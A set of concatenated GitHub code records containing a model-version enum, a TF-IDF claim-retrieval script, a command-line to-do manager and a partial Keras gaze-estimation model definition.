_STRING_TO_STAGE.items()}\n\n @staticmethod\n def from_string(stage_str):\n if stage_str not in ModelVersionStage._STRING_TO_STAGE:\n raise Exception(\n \"Could not get model version stage corresponding to string %s. Valid status \"\n \"strings: %s\" % (stage_str, list(ModelVersionStage._STRING_TO_STAGE.keys())))\n return ModelVersionStage._STRING_TO_STAGE[stage_str]\n\n @staticmethod\n def to_string(status):\n if status not in ModelVersionStage._STAGE_TO_STRING:\n raise Exception(\"Could not get string corresponding to model version stage %s. Valid \"\n \"stages: %s\" % (status,\n list(ModelVersionStage._STAGE_TO_STRING.keys())))\n return ModelVersionStage._STAGE_TO_STRING[status]\n\n\nclass ModelVersionEventType(str, Enum):\n MODEL_GENERATED = 'MODEL_GENERATED'\n MODEL_VALIDATED = 'MODEL_VALIDATED'\n MODEL_DEPLOYED = 'MODEL_DEPLOYED'\n MODEL_DEPRECATED = 'MODEL_DEPRECATED'\n MODEL_DELETED = 'MODEL_DELETED'\n\n\nMODEL_VERSION_TO_EVENT_TYPE = {\n ModelVersionStage.GENERATED: ModelVersionEventType.MODEL_GENERATED,\n ModelVersionStage.VALIDATED: ModelVersionEventType.MODEL_VALIDATED,\n ModelVersionStage.DEPLOYED: ModelVersionEventType.MODEL_DEPLOYED,\n ModelVersionStage.DEPRECATED: ModelVersionEventType.MODEL_DEPRECATED,\n ModelVersionStage.DELETED: ModelVersionEventType.MODEL_DELETED\n}\n","repo_name":"lisy09/ffa-2021-demos","sub_path":"aiflow/flink-ai-flow/ai_flow/model_center/entity/model_version_stage.py","file_name":"model_version_stage.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"13676178181","text":"import argparse\nimport time\nfrom collections import Counter\nfrom operator import itemgetter\n\nfrom termcolor import colored\n\nfrom dataaccess.access_claims import get_claim_row, get_all_claims\nfrom dataaccess.access_docs_norms_mapping import get_norm_for_doc_text\nfrom dataaccess.access_inverted_index import get_candidate_documents_for_claim\nfrom dataaccess.access_words_idf_mapping import get_idf_for_term\nfrom dataaccess.files_constants import RETRIEVED_TFIDF_DIRECTORY, \\\n DOCS_TO_RETRIEVE_PER_CLAIM\nfrom documentretrieval.claim_processing import preprocess_claim_text, display_or_store_result\nfrom documentretrieval.document_processing import preprocess_doc_title\nfrom documentretrieval.term_processing import process_normalise_tokenise_filter\nfrom documentretrieval.vector_semantics import get_tfidf_vector_norm\nfrom util.theads_processes import get_process_pool\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--variant', help='TF weighting variant', choices=['raw_count', 'relative'], default='relative')\nparser.add_argument('--doc_title', help='[0...1] weight of doc title vs. doc text', type=float, default=0.)\nparser.add_argument('--dataset', choices=['train', 'dev', 'test'], type=str, default='train')\nparser.add_argument('--id', help='process only this ID of a claim to retrieve for test purposes', type=int)\nparser.add_argument('--limit', help='only use subset for the first 10 claims', action='store_true')\nparser.add_argument('--print', help='print results rather than storing on disk', action='store_true')\nparser.add_argument('--debug', help='show more print statements', action='store_true')\nargs = parser.parse_args()\n\n\ndef get_tfidf_vector_for_document(coordination_terms_for_doc: dict, claim_terms: list):\n # the vectors only need to have a dimension for each term that occurs in\n # the query, as other terms would be 0 in the dot product anyways\n unique_sorted_claim_terms = sorted(list(set(claim_terms)))\n doc_vector = [0 for _ in unique_sorted_claim_terms]\n\n # for terms that are in doc and claim, get IDF values as they are stored in the index\n for index, term in enumerate(unique_sorted_claim_terms):\n if term in coordination_terms_for_doc.keys():\n doc_vector[index] = coordination_terms_for_doc[term]\n\n return doc_vector\n\n\ndef get_tfidf_vector_for_claim(claim_terms: list):\n claim_terms_with_occurrences = Counter(claim_terms)\n claim_vector = []\n\n for term_with_count in sorted(claim_terms_with_occurrences.items()):\n term = term_with_count[0]\n occurrences = term_with_count[1]\n # For the claim, the occurrences determining the TF come directly from the claim\n tf = occurrences if args.variant == 'raw_count' else occurrences / len(claim_terms)\n idf = get_idf_for_term(term)\n tfidf = tf * idf\n claim_vector.append(tfidf)\n\n if args.debug:\n print('Computed vector {} for claim \"{}\"'.format(claim_vector, claim_terms))\n return claim_vector\n\n\ndef get_doc_product(vector1: list, vector2: list):\n assert len(vector1) == len(vector2)\n return sum([vector1[i] * vector2[i] for i in range(len(vector1))])\n\n\ndef get_claim_doc_text_cosine_similarity(claim_terms: list,\n claim_vector: list,\n claim_norm: float,\n doc_with_coordination_terms: tuple) -> float:\n page_id = doc_with_coordination_terms[0]\n coordination_terms_for_doc = doc_with_coordination_terms[1]\n doc_text_vector = get_tfidf_vector_for_document(coordination_terms_for_doc, claim_terms)\n # use pre-computed norm\n doc_text_norm = get_norm_for_doc_text(page_id)\n\n dot_product = get_doc_product(claim_vector, doc_text_vector)\n cosine_sim = dot_product / (claim_norm * doc_text_norm)\n\n return cosine_sim\n\n\ndef get_claim_doc_title_cosine_similarity(claim_terms: list,\n claim_vector: list,\n claim_norm: float,\n doc_with_coordination_terms: tuple) -> float:\n doc_title_terms = preprocess_doc_title(doc_with_coordination_terms[0])\n # Use only terms from title, discard doc text\n term_counts = dict(Counter(doc_title_terms))\n doc_title_vector = get_tfidf_vector_for_document(term_counts, claim_terms)\n doc_title_norm = get_tfidf_vector_norm(doc_title_terms, args.variant)\n\n dot_product = get_doc_product(claim_vector, doc_title_vector)\n norms_product = claim_norm * doc_title_norm\n if not norms_product:\n # happens if all tokens in doc title are non-alphanumeric or unseen in IDF generation\n return 0\n\n cosine_sim = dot_product / norms_product\n return cosine_sim\n\n\ndef scoring_function(claim_terms: list,\n claim_vector: list,\n claim_norm: float,\n doc_with_coordination_terms: tuple) -> tuple:\n page_id = doc_with_coordination_terms[0]\n cosine_claim_doc_text = get_claim_doc_text_cosine_similarity(claim_terms, claim_vector, claim_norm, doc_with_coordination_terms)\n cosine_claim_doc_title = get_claim_doc_title_cosine_similarity(claim_terms, claim_vector, claim_norm, doc_with_coordination_terms)\n title_weight = args.doc_title or 0\n score = title_weight * cosine_claim_doc_title + (1 - title_weight) * cosine_claim_doc_text\n # if args.debug:\n # print('Claim: \"{}\", title: {}, score: {}'.format(claim_terms, doc_with_coordination_terms[0], score))\n return page_id, score\n\n\ndef retrieve_documents_for_claim(claim: str, claim_id: int):\n print(colored('Retrieving documents for claim [{}]: \"{}\"'.format(claim_id, claim), attrs=['bold']))\n preprocessed_claim = preprocess_claim_text(claim)\n claim_terms = process_normalise_tokenise_filter(preprocessed_claim)\n claim_vector = get_tfidf_vector_for_claim(claim_terms)\n claim_norm = get_tfidf_vector_norm(claim_terms, args.variant)\n\n # only docs that appear in index for at least one claim term to be considered\n doc_candidates = get_candidate_documents_for_claim(claim_terms)\n\n # similarity scores for each claim-doc combination\n docs_with_similarity_scores = [\n scoring_function(claim_terms, claim_vector, claim_norm, doc_with_terms) for doc_with_terms in\n doc_candidates.items()]\n\n # sort by similarity and limit to top results\n docs_with_similarity_scores.sort(key=itemgetter(1), reverse=True)\n result_docs = docs_with_similarity_scores[:DOCS_TO_RETRIEVE_PER_CLAIM]\n\n display_or_store_result(claim, claim_id, result_docs, RETRIEVED_TFIDF_DIRECTORY, args.print)\n\n\ndef retrieve_document_for_claim_row(claim_row: tuple):\n claim_id = claim_row[1]['id']\n claim = claim_row[1]['claim']\n retrieve_documents_for_claim(claim, claim_id)\n\n\ndef retrieve_documents_for_all_claims():\n claims = get_all_claims(dataset=args.dataset)\n\n pool = get_process_pool()\n if (args.limit):\n pool.map(retrieve_document_for_claim_row, claims.head(n=16).iterrows())\n else:\n pool.map(retrieve_document_for_claim_row, claims.iterrows())\n\n\nif __name__ == '__main__':\n start_time = time.time()\n if args.id:\n claim = get_claim_row(args.id, dataset=args.dataset)\n document = retrieve_document_for_claim_row((None, claim))\n else:\n retrieve_documents_for_all_claims()\n print('Finished retrieval after {:.2f} seconds'.format(time.time() - start_time))\n","repo_name":"nielsboecker/fact-check","sub_path":"src/_2_F_retrieve_docs_with_tfidf.py","file_name":"_2_F_retrieve_docs_with_tfidf.py","file_ext":"py","file_size_in_byte":7476,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"39483406032","text":"#--------------------------===================IMPORTS===================--------------------------\n\nimport json \nimport os\nimport sys\n\n#-------------------------===================FUNCTIONS===================-------------------------\n\n\ndef rename(old, new):\n # Getting the tasks from the JSON file\n tasks = read_tasks()\n # checking if the user is trying to replace the old task name with the same task name \n if old != new:\n # Replacing the task name\n value = tasks[old]\n tasks[new] = value\n # Deleting the old task name\n del tasks[old]\n # Writing back to the JSON file\n with open(\"todo.json\", \"w\") as file:\n json.dump(tasks, file)\n print(\"[Main/Select/Rename] ~ Task renamed successfully!\")\n else:\n # Printing an error in the case of both names being the same\n print(\"[Main/Select/Rename] ~ Name can't be the same.\")\n\n\ndef show(dictionary):\n try:\n reveal = show_mode(dictionary)\n if reveal:\n print_table(dictionary)\n else:\n print_table_no_sub(dictionary)\n except:\n print(\"[Main] ~ No tasks!\")\n\n# Used to print tasks when we know there are sub-tasks\ndef print_table(data_dict):\n try:\n # Calculate the maximum width for each category\n max_task_width = max(len(key) for key in data_dict)\n max_status_width = max(len(str(value[\"status\"])) for value in data_dict.values())\n\n # Calculate the maximum width for subtasks based on the longest subtasks string in each row\n max_subtasks_width = max(\n len(\", \".join([f\"{subtask}: {'Uncompleted' if not value[subtask] else 'Completed'}\" for subtask in value if subtask != \"status\"]))\n for key, value in data_dict.items()\n )\n\n # Calculate the total width of the table\n total_width = max_task_width + max_status_width + max_subtasks_width + 11\n\n # Print the table header\n header = f\"| {'Task':^{max_task_width}} | {'Status':^{max_status_width}} |\"\n if max_subtasks_width > 0:\n header += f\" {'Subtasks':^{max_subtasks_width}}|\"\n line = \"+\" + \"-\" * (total_width - 2) + \"+\"\n print(line)\n print(header)\n print(line)\n\n # Print each row in the table\n for key, value in data_dict.items():\n task = key.ljust(max_task_width)\n if value[\"status\"] == False:\n result = \"❌\"\n else:\n result = \"✅\"\n task_status = result.center(max_status_width + 1)\n\n subtasks_list = [\n f\"{subtask}: {'❌' if not value[subtask] else '✅'}\"\n for subtask in value if subtask != \"status\"\n ]\n subtasks_str = \", \".join(subtasks_list)\n\n if not subtasks_list:\n subtasks_str = \"None\".center(max_subtasks_width - 1)\n\n print(f\"| {task} | {task_status} | {subtasks_str:<{max_subtasks_width - 2}} |\")\n \n # Print the table footer\n print(line)\n except:\n print(\"No tasks\")\n\n\n# Used to print tasks when we know there are sub-tasks\ndef print_table_no_sub(data_dict):\n try:\n # Calculate the maximum width for each category\n max_task_width = max(len(\"Task\"), max(len(key) for key in data_dict))\n max_status_width = max(len(\"Status\"), max(len(str(value[\"status\"])) for value in data_dict.values()))\n\n # Calculate the total width of the table\n total_width = max_task_width + max_status_width + 7\n\n # Print the table header\n header = f\"| {'Task':^{max_task_width}} | {'Status':^{max_status_width}} |\"\n line = \"+\" + \"-\" * (total_width - 2) + \"+\"\n print(line)\n print(header)\n print(line)\n\n # Print each row in the table\n for key, value in data_dict.items():\n task = key.ljust(max_task_width)\n if value[\"status\"] == False:\n result = \"❌\"\n else:\n result = \"✅\"\n task_status = result.center(max_status_width)\n\n print(f\"| {task} | {task_status}|\")\n \n # Print the table footer\n print(line)\n except:\n print(\"No tasks\")\n\n\n# Used to find if there are any sub-tasks \ndef show_mode(data_dict):\n try:\n # Iterate over the keys of the outer dictionary\n for key in data_dict.keys():\n # Iterate over the keys of the nested dictionary for each outer key\n for k in data_dict[key]:\n # Check if the current key in the nested dictionary is not \"status\"\n if k != \"status\":\n # If a key other than \"status\" is found, return True immediately\n return True\n else:\n # If the key is \"status\", do nothing and continue iterating the next key in the nested dictionary\n pass\n # If no key other than \"status\" is found in any nested dictionary, return False\n return False\n except:\n # If any error occurs during iteration (e.g., data_dict is not a valid dictionary), return False\n return False\n\n\ndef print_subtasks(data_dict, key):\n # Checking if the key (task) exists in the data_dict\n if key in data_dict:\n # Getting the value (task details) associated with the key\n value = data_dict[key]\n # Creating a list of subtasks with their completion status\n subtasks_list = [\n f\"{subtask}: {'Uncompleted' if not value[subtask] else 'Completed'}\\n\"\n for subtask in value if subtask != \"status\"\n ]\n # Check if there are any subtasks for the given task\n if subtasks_list:\n # Print the subtasks as a comma-separated string\n print(f\"\\nAll sub-tasks in {selected}:\")\n print(\"\".join(subtasks_list))\n else:\n # If there are no subtasks, print a message indicating that\n print(f\"[Main/Select] Task '{key}' has no sub-tasks.\")\n else:\n # If the key (task) is not found in the data_dict, print an error message\n print(f\"[Main/Select] Task '{key}' not found in the data.\")\n\n\ndef read_tasks():\n # Checking if the file exists to avoid errors\n if os.path.isfile(\"todo.json\"):\n \n with open(\"todo.json\", \"r\") as file:\n try:\n return json.load(file) # Returning the json file\n except json.decoder.JSONDecodeError:\n return False\n else:\n return False\n\n\ndef add_task(task: str):\n default = {\"status\":False}\n # Checking to see if we should add to an existing file or to add to a new file \n # with the inserted task.\n if read_tasks():\n all_tasks = read_tasks()\n # Checking if the key exists already\n for key in all_tasks.keys():\n if key == task:\n resume = False\n break\n else: resume = True\n if resume:\n all_tasks[task] = default\n # Placing the new data in the json file,\n with open(\"todo.json\", \"w\") as file:\n json.dump(all_tasks, file)\n print(\"[Main/Add task] ~ Task added!\")\n else:\n print(\"[Main/Add task] ~ Task exists already.\")\n else:\n # In the case of the file not existing the program will create a new json file\n # to place the task to.\n with open(\"todo.json\", \"w\") as file:\n new = {}\n new[task] = default\n json.dump(new, file)\n print(\"[Main/Add task] ~ Task added!\")\n\n\ndef add_subtask(task,subtask):\n # Running in a try statement in the case of the task not existing\n try:\n all_tasks = read_tasks()\n if subtask.lower() != \"status\":\n all_tasks[task][subtask] = False\n # Writing to the file the sub-task in the case of the file existing. \n with open(\"todo.json\", \"w\") as file:\n json.dump(all_tasks, file)\n print(\"Sub-task added successfully!\")\n else:\n print(\"That task name is not allowed\")\n except KeyError:\n print(\"The specified task doesnt exist\")\n\ndef delete(data,task,sub = None):\n # Checking if we want to delete a sub-task or a task\n if sub == None: # In the case of a normal task\n try:\n del data[task] # Deleteing the task\n # Writing to the todo file\n with open(\"todo.json\", \"w\") as file: \n json.dump(data, file)\n print(\"[Main/Select/Delete] ~ Task deleted sucessfully!\")\n except:\n print(\"[Main/Select/Delete] ~ Task doesnt exist\")\n elif sub != \"status\": # In the case of a sub-task\n try:\n del data[task][sub] # Deleteing the sub-task\n # Writing to the todo file\n with open(\"todo.json\", \"w\") as file:\n json.dump(data, file)\n print(\"[Main/Select/Delete] ~ Sub-task deleted sucessfully!\")\n except:\n print(\"[Main/Select/Delete] ~ Sub-task doesnt exist\")\n else:\n print(\"[Main/Select/Delete] ~ Invalid input\")\n\ndef status(sub_exists,task):\n changed = True\n # In the case of a sub task existing\n if sub_exists:\n while changed:\n # Asking the user if they want to delete a task or a sub-task\n decision = input(\"[Main/Select/Change status] ~ Would you like to change the status of a task or a sub-task?\\nTask = 1\\nSub-task = 2\\n\")\n # In the case of the user wanting ot delete a task\n if decision == \"1\":\n if read_tasks()[task][\"status\"] == False:\n tasks = read_tasks()\n tasks[task][\"status\"] = True\n # Writing to the JSON file\n with open(\"todo.json\", \"w\") as file:\n json.dump(tasks, file)\n print(\"[Main/Select/Change status] ~ Task completed!\")\n changed = False\n break\n else:\n # Changing status to false if true\n tasks = read_tasks()\n tasks[task][\"status\"] = False\n # Writing to the JSON file\n with open(\"todo.json\", \"w\") as file:\n json.dump(tasks, file)\n print(\"[Main/Select/Change status] ~ Task status changed.\")\n changed = False\n break\n\n if decision == \"2\":\n changed = True\n while changed:\n # Ask for the sub-task to change\n sub_task = input(\"[Main/Select/Change status] ~ What sub task would you like to change the status of?\\n(type list to view available subtasks)\\n\")\n if sub_task.lower() == \"list\":\n print_subtasks(read_tasks(), task) # Listing the subtasks\n elif sub_task.lower() != \"status\":\n # Checking if the key exists\n sub_task_found = False\n for key in read_tasks()[task].keys():\n # In the case of the specified sub-task existing\n if key.lower() == sub_task.lower():\n sub_task_found = True\n tasks = read_tasks()\n # In the case of the task being false set it to true\n if tasks[task][sub_task] == False:\n tasks[task][sub_task] = True\n # Writing to the JSON file\n with open(\"todo.json\", \"w\") as file:\n json.dump(tasks, file)\n print(\"[Main/Select/Change status] ~ Sub-task completed!\")\n changed = False\n break\n # In the case of the task being true set it to false\n elif tasks[task][sub_task] == True:\n tasks[task][sub_task] = False\n # Writing to the JSON file\n with open(\"todo.json\", \"w\") as file:\n json.dump(tasks, file)\n print(\"[Main/Select/Change status] ~ Sub-task status changed.\")\n changed =False\n break\n if not sub_task_found:\n print(\"[Main/Select/Change status] ~ Sub-task cant be found\")\n changed = False\n break\n\n elif sub_task.lower() == \"exit\":\n changed = False\n break\n else:\n print(\"Invalid input\")\n\n\n #In the case of no subtasks\n else:\n # Changing status to true if false\n if read_tasks()[task][\"status\"] == False:\n tasks = read_tasks()\n tasks[task][\"status\"] = True\n # Writing to the JSON file\n with open(\"todo.json\", \"w\") as file:\n json.dump(tasks, file)\n print(\"[Main/Select/Change status] ~ Task completed!\")\n else:\n # Changing status to false if true\n tasks = read_tasks()\n tasks[task][\"status\"] = False\n # Writing to the JSON file\n with open(\"todo.json\", \"w\") as file:\n json.dump(tasks, file)\n print(\"[Main/Select/Change status] ~ Task status changed.\")\n\n#---------------------------====================Main====================---------------------------\n\n\n\nwhile True:\n prompt = input(\"[Main] ~ What would you like to do? \").strip()\n\n if prompt.lower() == \"add\":\n while True:\n response = input(\"[Main/Add task] ~ What task would you like to add? \")\n if len(response) != 0:\n add_task(response)\n break\n elif prompt.lower() == \"exit\":\n break\n else:\n print(\"[Main/Add task] ~ Please enter a task to add or type exit to exit this menu.\")\n\n elif prompt.lower() == \"select\":\n while True:\n selected = input(\"[Main/Select] ~ What task would you like to select? \")\n if selected == \"exit\":\n print(\"Exiting select menu...\")\n break\n try:\n if selected in read_tasks():\n response = input(\"[Main/Select] ~ What action would you like to take? \").strip()\n if response.lower() == \"subtask\":\n add_subtask(selected, input(\"[Main/Select/Sub-task menu] ~ What should the sub-task be? \"))\n break\n\n elif response.lower() == \"help\":\n print(\"\"\"\n[Main/Select] ~ Help\n \nWhen using the \"select\" command, you can perform the following actions:\n\n- \"subtask\" - Add a sub-task to the selected task.\n- \"list\" - Display the sub-tasks of the selected task.\n- \"rename\" - Rename the selected task.\n- \"delete\" - Delete either the selected task or its sub-task.\n- \"status\" - Check the status of the selected task.\n\nTo navigate the menu, simply type the corresponding command, and follow the prompts to complete the desired action.\n\"\"\")\n continue\n\n elif response.lower() == \"list\":\n print_subtasks(read_tasks(),selected)\n continue\n\n elif response.lower() == \"rename\":\n while True:\n new = input(\"[Main/Select/Rename] ~ What should the new task name be? \")\n if len(new) != 0:\n rename(selected,new)\n break\n else:\n print(\"[Main/Select/Rename] ~ Invalid input\")\n\n elif response.lower() == \"exit\":\n break\n \n elif response.lower() == \"delete\":\n for sub_task in read_tasks()[selected]:\n if sub_task != \"status\":\n sub_exists = True\n break\n else:\n sub_exists = False\n while True:\n if sub_exists:\n deletion_mode = input(\"[Main/Select/Delete] ~ Would you like to delete a task or a sub-task?\\nTask = 1\\nSub-task = 2\\n\")\n if deletion_mode == \"1\":\n delete(read_tasks(),selected)\n break\n elif deletion_mode == \"2\":\n delete(read_tasks(),selected,input(\"[Main/Select/Delete] ~ What sub task would you like to delete? \"))\n break\n else: \n print(\"[Main/Select/Delete] ~ Invalid input.\")\n\n else:\n delete(read_tasks(),selected)\n break\n break\n\n elif response.lower() == \"status\":\n for sub_task in read_tasks()[selected]:\n if sub_task != \"status\":\n sub_exists = True\n break\n else:\n sub_exists = False\n status(sub_exists,selected)\n break\n\n else:\n print(\"[Main/Select] ~ Please enter a valid instruction or type \\\"help\\\" for help\")\n\n elif selected.lower() == \"list\":\n tasks = read_tasks()\n show(tasks)\n\n elif selected.lower() == \"exit\":\n print(\"[Main/Select] ~ Exiting select menu...\")\n break\n \n else:\n print(\"Task doesn't exist\")\n except:\n print(\"[Main/Select] ~ Task not in tasks. If you wish to exit type \\\"exit\\\"\")\n\n\n elif prompt.lower() == \"list\":\n tasks = read_tasks()\n show(tasks)\n\n\n elif prompt.lower() == \"help\":\n print(\"\"\"\n[Main] ~ Help\n\nTo use the task manager, you can choose from the following commands:\n\n1. \"add\" - Add a new task to the task list.\n2. \"select\" - Select a task from the list to perform actions on it.\n3. \"list\" - Display all the tasks and their current status.\n4. \"exit\" - Exit the task manager.\n\nTo navigate the menu, simply type the corresponding command, and follow the prompts to complete the desired action.\n\n\"\"\")\n\n\n elif prompt.lower() == \"exit\":\n print(\"[Main] ~ Exiting...\")\n sys.exit()\n\n else:\n print(\"[Main] ~ Please enter a valid input or type \\\"help\\\" for instructions\")\n","repo_name":"dxmxtrxs/todo-manager","sub_path":"commandline-testing_version.py","file_name":"commandline-testing_version.py","file_ext":"py","file_size_in_byte":19319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"33052589895","text":"import tensorflow as tf\nif (tf.version.VERSION == '2.3.0'):\n from tensorflow.keras.mixed_precision import experimental as mixed_precision\nelse:\n from tensorflow.keras import mixed_precision\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.layers import concatenate, SeparableConv2D, DepthwiseConv2D, Input, GlobalMaxPooling2D, Activation, Conv2D, Conv3D, Reshape, AveragePooling3D, AveragePooling2D, GlobalAveragePooling3D, GlobalAveragePooling2D, GlobalAveragePooling1D, MaxPooling2D, LSTM, Embedding, Dense, Dropout, Flatten, BatchNormalization, add, UpSampling2D, Conv2DTranspose\nfrom tensorflow.keras.applications import MobileNetV2\nfrom tensorflow.keras.applications import EfficientNetB0, EfficientNetB1, EfficientNetB2, EfficientNetB3, EfficientNetB4\nfrom losses import euclidean_loss, heatmap_loss\nimport config\n\n\ndef conv_bn(input_x, conv):\n x = conv(input_x)\n x = Activation('relu')(x)\n bn_name = 'single_v10_' + input_x.name + '_' + conv.name + '_bn'\n bn_name = bn_name.replace(':', '_')\n x = BatchNormalization(name=bn_name)(x)\n return x\n\n\ndef relu_bn(input_x):\n x = Activation('relu')(input_x)\n bn_name = 'single_v10_' + input_x.name + '_bn'\n bn_name = bn_name.replace(':', '_')\n x = BatchNormalization(name=bn_name)(x)\n return x\n\n\npolicy = mixed_precision.Policy('mixed_float16')\nif (tf.version.VERSION == '2.3.0'):\n mixed_precision.set_policy(policy)\nelse:\n mixed_precision.set_global_policy(policy)\n\n\ngrid_dense1 = Dense(256, activation=\"relu\", name='grid_dense1')\ngrid_dense2 = Dense(128, activation=\"relu\", name='grid_dense2')\ngrid_dense3 = Dense(128, activation=\"relu\", name='grid_dense3')\nheatmap_conv1 = Conv2D(1, (7, 7), padding='same', name='heatmap_conv1')\nheatmap_conv2 = Conv2D(1, (7, 7), padding='same', name='heatmap_conv2')\nheatmap_conv3 = Conv2D(1, (3, 3), padding='same', name='heatmap_conv3')\n\n\ndef get_SAGE(base_model='MobileNetV2', heatmap=False):\n base_model_list = ['AlexNet', 'MobileNetV2', 'EfficientNetB0', 'EfficientNetB1',\n 'EfficientNetB2', 'EfficientNetB3', 'EfficientNetB4']\n if (base_model not in base_model_list):\n print('base_model --' + base_model + '-- does not exist')\n\n # print('Compute dtype: %s' % policy.compute_dtype,\n # 'Variable dtype: %s' % policy.variable_dtype)\n\n dropout_rate = 0.5\n\n '''SAGE architecture'''\n eyeIm_shape = (config.eyeIm_size, config.eyeIm_size, config.channel)\n input_leye = Input(shape=eyeIm_shape, name='input_leye')\n input_reye = Input(shape=eyeIm_shape, name='input_reye')\n input_eyelandmark = Input(shape=(6,), name='input_eyelandmark')\n input_orientation = Input(shape=(3,), name='input_orientation')\n\n if base_model == 'AlexNet':\n eye_conv1 = Conv2D(96, (11, 11), strides=2, name='eye_conv1')\n eye_conv2 = Conv2D(256, (5, 5), name='eye_conv2')\n eye_conv3 = Conv2D(384, (3, 3), name='eye_conv3')\n eye_conv4 = Conv2D(64, (1, 1), name='eye_conv4')\n eye_dense1 = Dense(128, activation=\"relu\", name='eye_dense1')\n\n # left eye\n leye = eye_conv1(input_leye)\n leye = Activation('relu')(leye)\n leye = MaxPooling2D(pool_size=(3, 3), strides=2)(leye)\n leye = BatchNormalization(name='bn_leye_conv1')(leye) # momentum=0.75, epsilon=0.0001\n leye = eye_conv2(leye)\n leye = Activation('relu')(leye)\n leye = MaxPooling2D(pool_size=(3, 3), strides=2)(leye)\n leye = BatchNormalization(name='bn_leye_conv2')(leye)\n leye = eye_conv3(leye)\n leye = Activation('relu')(leye)\n leye = BatchNormalization(name='bn_leye_conv3')(leye)\n leye = eye_conv4(leye)\n leye = Activation('relu')(leye)\n leye = BatchNormalization(name='bn_leye_conv4')(leye)\n leye = Flatten()(leye)\n leye = eye_dense1(leye)\n leye = BatchNormalization(name='bn_eye_dense')(leye)\n\n else:\n leye_block = globals()[base_model](input_shape=eyeIm_shape, include_top=False,\n weights=config.weights, input_tensor=input_leye)\n # rename layers to avoid duplicated name\n for layer in leye_block.layers:\n layer._name = 'leye_' + layer.name\n\n leye_dense = Dense(128, activation=\"relu\", name='leye_dense')\n leye = leye_block.output\n leye = GlobalAveragePooling2D()(leye)\n leye = Dropout(dropout_rate)(leye)\n leye = BatchNormalization()(leye)\n leye = leye_dense(leye)\n leye = BatchNormalization()(leye)\n\n eye_model = Model(input_leye, leye)\n reye = eye_model(input_reye)\n\n # eye_model.trainable = False\n\n landmark_dense1 = Dense(64, activation=\"relu\", name='lm_dense1')\n landmark_dense2 = Dense(128, activation=\"relu\", name='lm_dense2')\n landmark_dense3 = Dense(16, activation=\"relu\", name='lm_dense3')\n landmark = concatenate([input_orientation, input_eyelandmark])\n landmark = landmark_dense1(landmark)\n landmark = BatchNormalization()(landmark)\n landmark = landmark_dense2(landmark)\n landmark = BatchNormalization()(landmark)\n landmark = landmark_dense3(landmark)\n landmark = BatchNormalization()(landmark)\n # landmark = Dropout(0.5)(landmark)\n # merge\n if (config.heatmap):\n merge_dense1 = Dense(128, activation=\"relu\", name='hm_merge_dense1')\n merge_dense2 = Dense(128, activation='relu', name='hm_merge_dense2')\n merge = concatenate([input_orientation, landmark, leye, reye])\n merge = merge_dense1(merge)\n merge = BatchNormalization(name='bn_hm_merge_dense1')(merge)\n merge = merge_dense2(merge)\n merge = BatchNormalization(name='bn_hm_merge_dense2')(merge)\n heatmap_dense = Dense(int(config.hm_size**2/4),\n activation='relu', name='heatmap_dense')\n merge = heatmap_dense(merge)\n merge = BatchNormalization(name='bn_hm_dense')(merge)\n heatmap = Reshape(target_shape=(\n int(config.hm_size/2), int(config.hm_size/2), 1))(merge)\n heatmap = conv_bn(heatmap, heatmap_conv1)\n heatmap = UpSampling2D()(heatmap)\n heatmap = heatmap_conv2(heatmap)\n heatmap = Activation('relu', dtype='float32')(heatmap)\n\n model = Model(inputs=[input_orientation, input_eyelandmark, input_leye,\n input_reye], outputs=heatmap)\n model.compile(loss=heatmap_loss, optimizer='adam')\n else:\n merge_dense1 = Dense(128, activation=\"relu\", name='merge_dense1')\n merge_dense2 = Dense(2, name='merge_dense2')\n merge = concatenate([input_orientation, landmark, leye, reye])\n merge = merge_dense1(merge)\n merge = BatchNormalization(name='bn_merge_dense1')(merge)\n merge = concatenate([input_orientation, merge])\n # merge = Dropout(0.2)(merge)\n merge = merge_dense2(merge)\n merge = Activation('linear', dtype='float32')(merge)\n\n model = Model(inputs=[input_orientation, input_eyelandmark, input_leye,\n input_reye], outputs=merge)\n model.compile(loss=euclidean_loss, optimizer='adam')\n return model\n\n\ndef get_iTracker(orientation=False):\n print('Compute dtype: %s' % policy.compute_dtype)\n print('Variable dtype: %s' % policy.variable_dtype)\n\n dropout_rate = 0.75\n\n ### iTracker architecture ###\n input_face = Input(shape=(config.faceIm_size,\n config.faceIm_size, config.channel), name='input_face')\n input_leye = Input(\n shape=(config.eyeIm_size, config.eyeIm_size, config.channel), name='input_leye')\n input_reye = Input(\n shape=(config.eyeIm_size, config.eyeIm_size, config.channel), name='input_reye')\n input_grid = Input(\n shape=(faceGrid_size, faceGrid_size, 1), name='input_grid')\n if orientation:\n input_orientation = Input(shape=(3,), name='input_orientation')\n\n eye_conv1 = Conv2D(96, (11, 11), strides=4, name='eye_conv1')\n eye_conv2 = Conv2D(256, (5, 5), name='eye_conv2')\n eye_conv3 = Conv2D(384, (3, 3), name='eye_conv3')\n eye_conv4 = Conv2D(64, (1, 1), name='eye_conv4')\n eye_dense1 = Dense(128, activation=\"relu\", name='eye_dense1')\n\n face_conv1 = Conv2D(96, (11, 11), strides=4, name='face_conv1')\n face_conv2 = Conv2D(256, (5, 5), name='face_conv2')\n face_conv3 = Conv2D(384, (3, 3), name='face_conv3')\n face_conv4 = Conv2D(64, (1, 1), name='face_conv4')\n face_dense1 = Dense(128, activation=\"relu\", name='face_dense1')\n face_dense2 = Dense(64, activation=\"relu\", name='face_dense2')\n\n grid_dense1 = Dense(256, activation=\"relu\", name='grid_dense1')\n grid_dense2 = Dense(128, activation=\"relu\", name='grid_dense2')\n\n # left eye\n leye = eye_conv1(input_leye)\n leye = Activation('relu')(leye)\n leye = MaxPooling2D(pool_size=(3, 3), strides=2)(leye)\n leye = BatchNormalization(name='bn_leye_conv1')(\n leye) # momentum=0.75, epsilon=0.0001\n leye = eye_conv2(leye)\n leye = Activation('relu')(leye)\n leye = MaxPooling2D(pool_size=(3, 3), strides=2)(leye)\n leye = BatchNormalization(name='bn_leye_conv2')(leye)\n leye = eye_conv3(leye)\n leye = Activation('relu')(leye)\n leye = BatchNormalization(name='bn_leye_conv3')(leye)\n leye = eye_conv4(leye)\n leye = Activation('relu')(leye)\n leye = 